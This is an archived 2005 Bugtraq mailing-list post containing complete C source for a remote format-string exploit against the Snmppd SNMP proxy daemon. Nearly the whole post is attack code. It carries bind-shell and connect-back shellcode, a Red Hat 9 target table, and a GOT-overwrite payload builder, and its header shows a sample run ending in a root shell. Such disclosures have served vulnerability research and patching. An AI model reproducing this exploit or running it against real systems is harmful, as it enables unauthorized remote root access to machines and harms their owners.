lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20050429182400.11293.qmail@www.securityfocus.com>
Date: 29 Apr 2005 18:24:00 -0000
From: <cybertronic@....net>
To: bugtraq@...urityfocus.com
Subject: Snmppd SNMP proxy daemon format string exploit




/* 
 * Snmppd SNMP proxy daemon format string exploit 
 * 
 * cybertronic[at]gmx[dot]net  
 * 
 * 04/29/2005 
 * 
 * buffer space is 1024 bytes ( MAX_SNMPPD_OID_LEN 
defined in snmppd-0.4.5/snmppd.h ) 
 * 
 * Apr 29 16:01:31 ctronic snmppd[6274]: fd 5: 
Request: 
XAAAA_804a81e.bfffb9d4.0.0.0.0.35206466.6552203a.73657571.58203a74.41414141 
 * 
 * This is annoying... there is no fixed input 
storage. 
 * Buffer`s location sometimes varies for 0x980 
bytes. 
 * Below is a short dump. I highjacked the GOT entry 
 * of strdup. Maybe there are some fixed pointers for 
 * reliable exploitation. Drop me an email if you 
have 
 * any suggestions 
 * 
 * 
 * __strdup 
 * 
 * 0xbfffb450:     0x906e6824      0x90909090      
0x90909090      0x90909090 
 * 0xbfffb460:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 0xbfffb470:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 
 * 0xbfffb3d0:     0x906e6824      0x90909090      
0x90909090      0x90909090 
 * 0xbfffb3e0:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 0xbfffb3f0:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 
 * 0xbfffb6d0:     0x906e6824      0x90909090      
0x90909090      0x90909090 
 * 0xbfffb6e0:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 0xbfffb6f0:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 
 * 0xbfffbdd0:     0x906e6824      0x90909090      
0x90909090      0x90909090 
 * 0xbfffbde0:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 0xbfffbdf0:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 
 * 0xbfffc750:     0x906e6824      0x90909090      
0x90909090      0x90909090 
 * 0xbfffc760:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 0xbfffc770:     0x90909090      0x90909090      
0x90909090      0x90909090 
 * 
 * 0804b1a0 R_386_JUMP_SLOT   malloc 
 * 0804b210 R_386_JUMP_SLOT   memset 
 * 0804b1fc R_386_JUMP_SLOT   __strdup 
 * 
 * I succeeded on my third try with the same ret: 
 * 
 *               __              __                   
_ 
 *   _______  __/ /_  ___  _____/ /__________  ____  
(_)____ 
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ 
\/ / ___/ 
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /
_/ / / / / / /__ 
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/
\___/ 
 *     /____/ 
 *                                                                                                             
 * --[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net 
 * --[ connecting to localhost:164...done! 
 * --[ select shellcode 
 *      | 
 *      |- [0] bind 
 *      `- [1] cb 
 * >> 0 
 * --[ using bind shellcode 
 * --[ GOT: 0x0804b1fc 
 * --[ RET: 0xbfffc750 
 * --[ sending packet [ 1023 bytes ]...done! 
 * --[ sleeping 5 seconds before connecting to 
localhost:20000... 
 * --[ connecting to localhost:20000...done! 
 * --[ b0x pwned - h4ve phun 
 * id 
 * uid=0(root) gid=0(root) groups=0(root),1(bin),2
(daemon),3(sys),4(adm),6(disk),10(wheel) 
 * 
 * 
 */ 
 
#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <unistd.h> 
 
#define NOP     0x90 
 
#define RED     "\E[31m\E[1m" 
#define GREEN   "\E[32m\E[1m" 
#define YELLOW  "\E[33m\E[1m" 
#define BLUE    "\E[34m\E[1m" 
#define NORMAL  "\E[m" 
 
int connect_to_remote_host ( char* tip, unsigned 
short tport ); 
int exploit ( int s, unsigned long smashaddr, 
unsigned long writeaddr, char* cbip ); 
int isip ( char *ip ); 
int shell ( int s, char* tip ); 
int usage ( char* name ); 
 
void start_reverse_handler ( unsigned short cbport ); 
void connect_to_bindshell ( char* tip, unsigned short 
bport ); 
void header (); 
void wait ( int sec ); 
 
/*********************** 
 * Linux x86 Shellcode * 
 ***********************/ 
 
//131 bytes connect back port: 45295 
char reverseshell[] = 
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1" 
"\x06\x51\xb1\x01\x51\xb1\x02\x51" 
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80" 
"\x89\xc2\x31\xc0\x31\xc9\x51\x51" 
"\x68\x41\x42\x43\x44\x66\x68\xb0" 
"\xef\xb1\x02\x66\x51\x89\xe7\xb3" 
"\x10\x53\x57\x52\x89\xe1\xb3\x03" 
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1" 
"\x74\x06\x31\xc0\xb0\x01\xcd\x80" 
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80" 
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01" 
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3" 
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2" 
"\x50\x68\x6e\x2f\x73\x68\x68\x2f" 
"\x2f\x62\x69\x89\xe3\x50\x53\x89" 
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0" 
"\x01\xcd\x80"; 
 
//92 bytes bindcode port: 20000 
char bindshell[] = 
"\x31\xdb"				// xor ebx, 
ebx 
"\xf7\xe3"				// mul ebx 
"\xb0\x66"				// mov al, 
102 
"\x53"					// push ebx 
"\x43"					// inc ebx 
"\x53"					// push ebx 
"\x43"					// inc ebx 
"\x53"					// push ebx 
"\x89\xe1"				// mov ecx, 
esp 
"\x4b"					// dec ebx 
"\xcd\x80"				// int 80h 
"\x89\xc7"				// mov edi, 
eax 
"\x52"					// push edx 
"\x66\x68\x4e\x20"			// push word 
8270 
"\x43"					// inc ebx 
"\x66\x53"				// push bx 
"\x89\xe1"				// mov ecx, 
esp 
"\xb0\xef"				// mov al, 
239 
"\xf6\xd0"				// not al 
"\x50"					// push eax 
"\x51"					// push ecx 
"\x57"					// push edi 
"\x89\xe1"				// mov ecx, 
esp 
"\xb0\x66"				// mov al, 
102 
"\xcd\x80"				// int 80h 
"\xb0\x66"				// mov al, 
102 
"\x43"					// inc ebx 
"\x43"					// inc ebx 
"\xcd\x80"				// int 80h 
"\x50"					// push eax 
"\x50"					// push eax 
"\x57"					// push edi 
"\x89\xe1"				// mov ecx, 
esp 
"\x43"					// inc ebx 
"\xb0\x66"				// mov al, 
102 
"\xcd\x80"				// int 80h 
"\x89\xd9"				// mov ecx, 
ebx 
"\x89\xc3"				// mov ebx, 
eax 
"\xb0\x3f"				// mov al, 63 
"\x49"					// dec ecx 
"\xcd\x80"				// int 80h 
"\x41"					// inc ecx 
"\xe2\xf8"				// loop lp 
"\x51"					// push ecx 
"\x68\x6e\x2f\x73\x68"			// push dword 
68732f6eh 
"\x68\x2f\x2f\x62\x69"			// push dword 
69622f2fh 
"\x89\xe3"				// mov ebx, 
esp 
"\x51"					// push ecx 
"\x53"					// push ebx 
"\x89\xe1"				// mov ecx, 
esp 
"\xb0\xf4"				// mov al, 
244 
"\xf6\xd0"				// not al 
"\xcd\x80";				// int 80h 
 
typedef struct _args { 
	char* tip; 
	char* lip; 
    int tport; 
	int target; 
} args; 
 
struct targets { 
	int  num; 
	unsigned long smashaddr; 
	unsigned long writeaddr; 
	char name[64]; 
} 
 
target[]= { 
	{ 0, 0x0804b1fc, 0xbfffb3d0, "Red hat Linux 9 
( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux 
release 9 ( Shrike ) Kernel 2.4.20-8 on an i686 
	{ 1, 0x0804b1fc, 0xbfffb6d0, "Red hat Linux 9 
( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux 
release 9 ( Shrike ) Kernel 2.4.20-8 on an i686 
	{ 2, 0x0804b1fc, 0xbfffbde0, "Red hat Linux 9 
( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux 
release 9 ( Shrike ) Kernel 2.4.20-8 on an i686 
	{ 3, 0x0804b1fc, 0xbfffc750, "Red hat Linux 9 
( Shrike ) Kernel 2.4.20-8 i686" }, //Red hat Linux 
release 9 ( Shrike ) Kernel 2.4.20-8 on an i686 
	{ 4, 0xdeadc0de, 0xdeadc0de, 
"description" }, //add more targets if needed 
}; 
 
int 
connect_to_remote_host ( char* tip, unsigned short 
tport ) 
{ 
	int s; 
	struct sockaddr_in remote_addr; 
	struct hostent* host_addr; 
 
    memset ( &remote_addr, 0x0, sizeof 
( remote_addr ) ); 
    if ( ( host_addr = gethostbyname ( tip ) ) == 
NULL ) 
	{ 
		printf ( "cannot resolve \"%s\"\n", 
tip ); 
		exit ( 1 ); 
	} 
    remote_addr.sin_family = AF_INET; 
    remote_addr.sin_port = htons ( tport ); 
    remote_addr.sin_addr = * ( ( struct in_addr * ) 
host_addr->h_addr ); 
    if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) < 
0 ) 
    { 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "--[ connecting to %s:%u...", tip, 
tport  ); 
	if ( connect ( s, ( struct sockaddr * ) 
&remote_addr, sizeof ( struct sockaddr ) ) ==  -1 ) 
	{ 
		printf ( "failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "done!\n" ); 
	return ( s ); 
} 
 
int 
 
exploit ( int s, unsigned long smashaddr, unsigned 
long writeaddr, char* cbip ) 
{ 
	char buffer[1024]; 
	char a, b, c, d; 
	unsigned int low, high; 
	unsigned long ulcbip; 
 
	printf ( "--[ GOT: 0x%08x\n", smashaddr ); 
	printf ( "--[ RET: 0x%08x\n", writeaddr ); 
 
	a = ( smashaddr & 0xff000000 ) >> 24; 
	b = ( smashaddr & 0x00ff0000 ) >> 16; 
	c = ( smashaddr & 0x0000ff00 ) >> 8; 
	d = ( smashaddr & 0x000000ff ); 
 
	high = ( writeaddr & 0xffff0000 ) >> 16; 
	low  = ( writeaddr & 0x0000ffff ); 
 
  	bzero ( &buffer, sizeof ( buffer ) ); 
	if ( high < low ) 
	{ 
		sprintf ( buffer, 
		"X%c%c%c%c" 
		"%c%c%c%c" 
		"%%.%uu%%11$hn" 
		"%%.%uu%%12$hn", 
 
		d + 2, c, b, a, 
		d,     c, b, a, 
		high - 24, 
		low - high ); 
	} 
	else 
	{ 
		sprintf ( buffer, 
		"X%c%c%c%c" 
		"%c%c%c%c" 
		"%%.%uu%%12$hn" 
		"%%.%uu%%11$hn", 
 
		d + 2, c, b, a, 
		d,     c, b, a, 
		low -24, 
		high - low ); 
	} 
  	memset ( buffer + strlen ( buffer ), NOP, 
sizeof ( buffer ) - strlen ( buffer ) - 3 ); 
	if ( cbip == NULL ) 
		memcpy ( buffer + sizeof ( buffer ) - 
sizeof ( bindshell ) - 3, bindshell, sizeof 
( bindshell ) -1 ); 
	else 
	{ 
		ulcbip = inet_addr ( cbip ); 
		memcpy ( &reverseshell[33], &ulcbip, 
4 ); 
		memcpy ( buffer + sizeof ( buffer ) - 
sizeof ( reverseshell ) - 3, reverseshell, sizeof 
( reverseshell ) -1 ); 
	} 
	strncat ( buffer, "\r\n", 2 ); 
 
	printf ( "--[ sending packet [ %u 
bytes ]...", strlen ( buffer ) ); 
	if ( write ( s, buffer, strlen ( buffer ) ) 
<= 0 ) 
	{ 
		printf ( "failed!\n" ); 
		return ( 1 ); 
	} 
	printf ( "done!\n"  ); 
 
	return ( 0 ); 
} 
 
int 
isip ( char *ip ) 
{ 
	int a, b, c, d; 
 
	if ( !sscanf ( ip, "%d.%d.%d.%d", &a, &b, &c, 
&d ) ) 
		return ( 0 ); 
	if ( a < 1 ) 
		return ( 0 ); 
	if ( a > 255 ) 
		return 0; 
	if ( b < 0 ) 
		return 0; 
	if ( b > 255 ) 
		return 0; 
	if ( c < 0 ) 
		return 0; 
	if ( c > 255 ) 
		return 0; 
	if ( d < 0 ) 
		return 0; 
	if ( d > 255 ) 
		return 0; 
	return 1; 
} 
 
int 
shell ( int s, char* tip ) 
{ 
	int n; 
	char buffer[2048]; 
	fd_set fd_read; 
 
	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW 
"x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" 
NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL 
"v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" 
YELLOW "n" NORMAL "\n" ); 
 
	FD_ZERO ( &fd_read ); 
	FD_SET ( s, &fd_read ); 
	FD_SET ( 0, &fd_read ); 
 
	while ( 1 ) 
	{ 
		FD_SET ( s, &fd_read ); 
		FD_SET ( 0, &fd_read ); 
 
		if ( select ( s + 1, &fd_read, NULL, 
NULL, NULL ) < 0 ) 
			break; 
		if ( FD_ISSET ( s, &fd_read ) ) 
		{ 
			if ( ( n = recv ( s, buffer, 
sizeof ( buffer ), 0 ) ) < 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
			if ( write ( 1, buffer, n ) < 
0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
		} 
		if ( FD_ISSET ( 0, &fd_read ) ) 
		{ 
			if ( ( n = read ( 0, buffer, 
sizeof ( buffer ) ) ) < 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
			if ( send ( s, buffer, n, 0 ) 
< 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
		} 
		usleep(10); 
	} 
} 
 
int 
usage ( char* name ) 
{ 
	int i; 
 
	printf ( "\n" ); 
	printf ( "Note: all switches have to be 
specified!\n" ); 
	printf ( "You can choose between bind and cb 
shellcode later!\n" ); 
	printf ( "\n" ); 
	printf ( "Usage: %s -h <tip> -p <tport> -l 
<cbip> -t <target>\n", name ); 
  	printf ( "\n" ); 
	printf ( "Targets\n\n" ); 
	for ( i = 0; i < 5; i++ ) 
		printf ( "\t[%d] [0x%08x] [0x%08x] [%
s]\n", target[i].num, target[i].smashaddr, 
target[i].writeaddr, target[i].name ); 
	printf ( "\n" ); 
    exit ( 1 ); 
} 
 
void 
connect_to_bindshell ( char* tip, unsigned short 
bport ) 
{ 
	int s; 
	int sec = 5; // change this for fast targets 
	struct sockaddr_in remote_addr; 
	struct hostent *host_addr; 
 
	if ( ( host_addr = gethostbyname ( tip ) ) == 
NULL ) 
	{ 
		fprintf ( stderr, "cannot resolve \"%
s\"\n", tip ); 
		exit ( 1 ); 
	} 
 
	remote_addr.sin_family = AF_INET; 
	remote_addr.sin_addr   = * ( ( struct in_addr 
* ) host_addr->h_addr ); 
	remote_addr.sin_port   = htons ( bport ); 
 
	if ( ( s = socket ( AF_INET, SOCK_STREAM, 
0 ) ) < 0 ) 
    { 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ("--[ sleeping %d seconds before 
connecting to %s:%u...\n", sec, tip, bport ); 
	wait ( sec ); 
	printf ( "--[ connecting to %s:%u...", tip, 
bport ); 
	if ( connect ( s, ( struct sockaddr * ) 
&remote_addr, sizeof ( struct sockaddr ) ) ==  -1 ) 
	{ 
		printf ( RED "failed!\n" NORMAL); 
		exit ( 1 ); 
	} 
	printf ( YELLOW "done!\n" NORMAL); 
	shell ( s, tip ); 
} 
 
void 
header () 
{ 
	printf ( "              __              __                   
_           \n" ); 
	printf ( "  _______  __/ /_  ___  _____/ /
__________  ____  (_)____      \n" ); 
	printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ 
___/ __ \\/ __ \\/ / ___/  \n" ); 
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /
_/ /  / /_/ / / / / / /__        \n" ); 
	printf ( "\\___/\\__, /_.___/\\___/_/   \\__/
_/   \\____/_/ /_/_/\\___/  \n" ); 
	printf ( "    /____/                                                     
\n\n" ); 
	printf ( "--[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net\n" ); 
} 
 
void 
parse_arguments ( int argc, char* argv[], args* 
argp ) 
{ 
	int i = 0; 
 
	while ( ( i = getopt ( argc, argv, 
"h:p:l:t:" ) ) != -1 ) 
	{ 
		switch ( i ) 
		{ 
			case 'h': 
				argp->tip = optarg; 
				break; 
			case 'p': 
				argp->tport = atoi 
( optarg ); 
				break; 
			case 'l': 
				argp->lip = optarg; 
				break; 
			case 't': 
                argp->target = strtoul ( optarg, 
NULL, 16 ); 
	            break; 
			case ':': 
			case '?': 
			default: 
				usage ( argv[0] ); 
	    } 
    } 
 
    if ( argp->tip == NULL || argp->tport < 1 || 
argp->tport > 65535 || argp->lip == NULL ||  
argp->target < 0 || argp->target > 4 ) 
		usage ( argv[0] ); 
} 
 
void 
start_reverse_handler ( unsigned short cbport ) 
{ 
	int s1, s2; 
	struct sockaddr_in cliaddr, servaddr; 
	socklen_t clilen = sizeof ( cliaddr ); 
 
	bzero ( &servaddr, sizeof ( servaddr ) ); 
	servaddr.sin_family = AF_INET; 
	servaddr.sin_addr.s_addr = htonl 
( INADDR_ANY ); 
	servaddr.sin_port = htons ( cbport ); 
 
	printf ( "--[ starting reverse handler [port: 
%u]...", cbport ); 
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 
0 ) ) == -1 ) 
	{ 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	bind ( s1, ( struct sockaddr * ) &servaddr, 
sizeof ( servaddr ) ); 
	if ( listen ( s1, 1 ) == -1 ) 
	{ 
		printf ( "listen failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "done!\n" ); 
	if ( ( s2 = accept ( s1, ( struct sockaddr 
* ) &cliaddr, &clilen ) ) < 0 ) 
	{ 
		printf ( "accept failed!\n" ); 
		exit ( 1 ); 
	} 
	close ( s1 ); 
	printf ( "--[ incomming connection from:\t%s
\n", inet_ntoa ( cliaddr.sin_addr ) ); 
	shell ( s2, ( char* ) inet_ntoa 
( cliaddr.sin_addr ) ); 
	close ( s2 ); 
} 
 
void 
wait ( int sec ) 
{ 
	sleep ( sec ); 
} 
 
int 
main ( int argc, char* argv[] ) 
{ 
	int s, option; 
	args myargs; 
 
	system ( "clear" ); 
	header (); 
	parse_arguments ( argc, argv, &myargs ); 
	s = connect_to_remote_host ( myargs.tip, 
myargs.tport ); 
 
	printf ( "--[ select shellcode\n" ); 
	printf ( "     |\n" ); 
	printf ( "     |- [0] bind\n" ); 
	printf ( "     `- [1] cb\n" ); 
	printf ( ">> " ); 
	scanf ( "%d", &option ); 
	switch ( option ) 
		{ 
			case 0: 
				printf ( "--[ using 
bind shellcode\n" ); 
				if ( exploit ( s, 
target[myargs.target].smashaddr, 
target[myargs.target].writeaddr, NULL ) == 1 ) 
				{ 
					printf 
( "exploitation failed!\n" ); 
					exit ( 1 ); 
				} 
				connect_to_bindshell 
( myargs.tip, 20000 ); 
				break; 
			case 1: 
				printf ( "--[ using 
cb shellcode\n" ); 
				if ( exploit ( s, 
target[myargs.target].smashaddr, 
target[myargs.target].writeaddr, myargs.lip ) == 1 ) 
				{ 
					printf 
( "exploitation failed!\n" ); 
					exit ( 1 ); 
				} 
				start_reverse_handler 
( 45295 ); 
				break; 
			default: 
				printf ( "--[ invalid 
shellcode!\n" ); exit ( 1 ); 
	    } 
	close ( s ); 
	return 0; 
} 
 


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ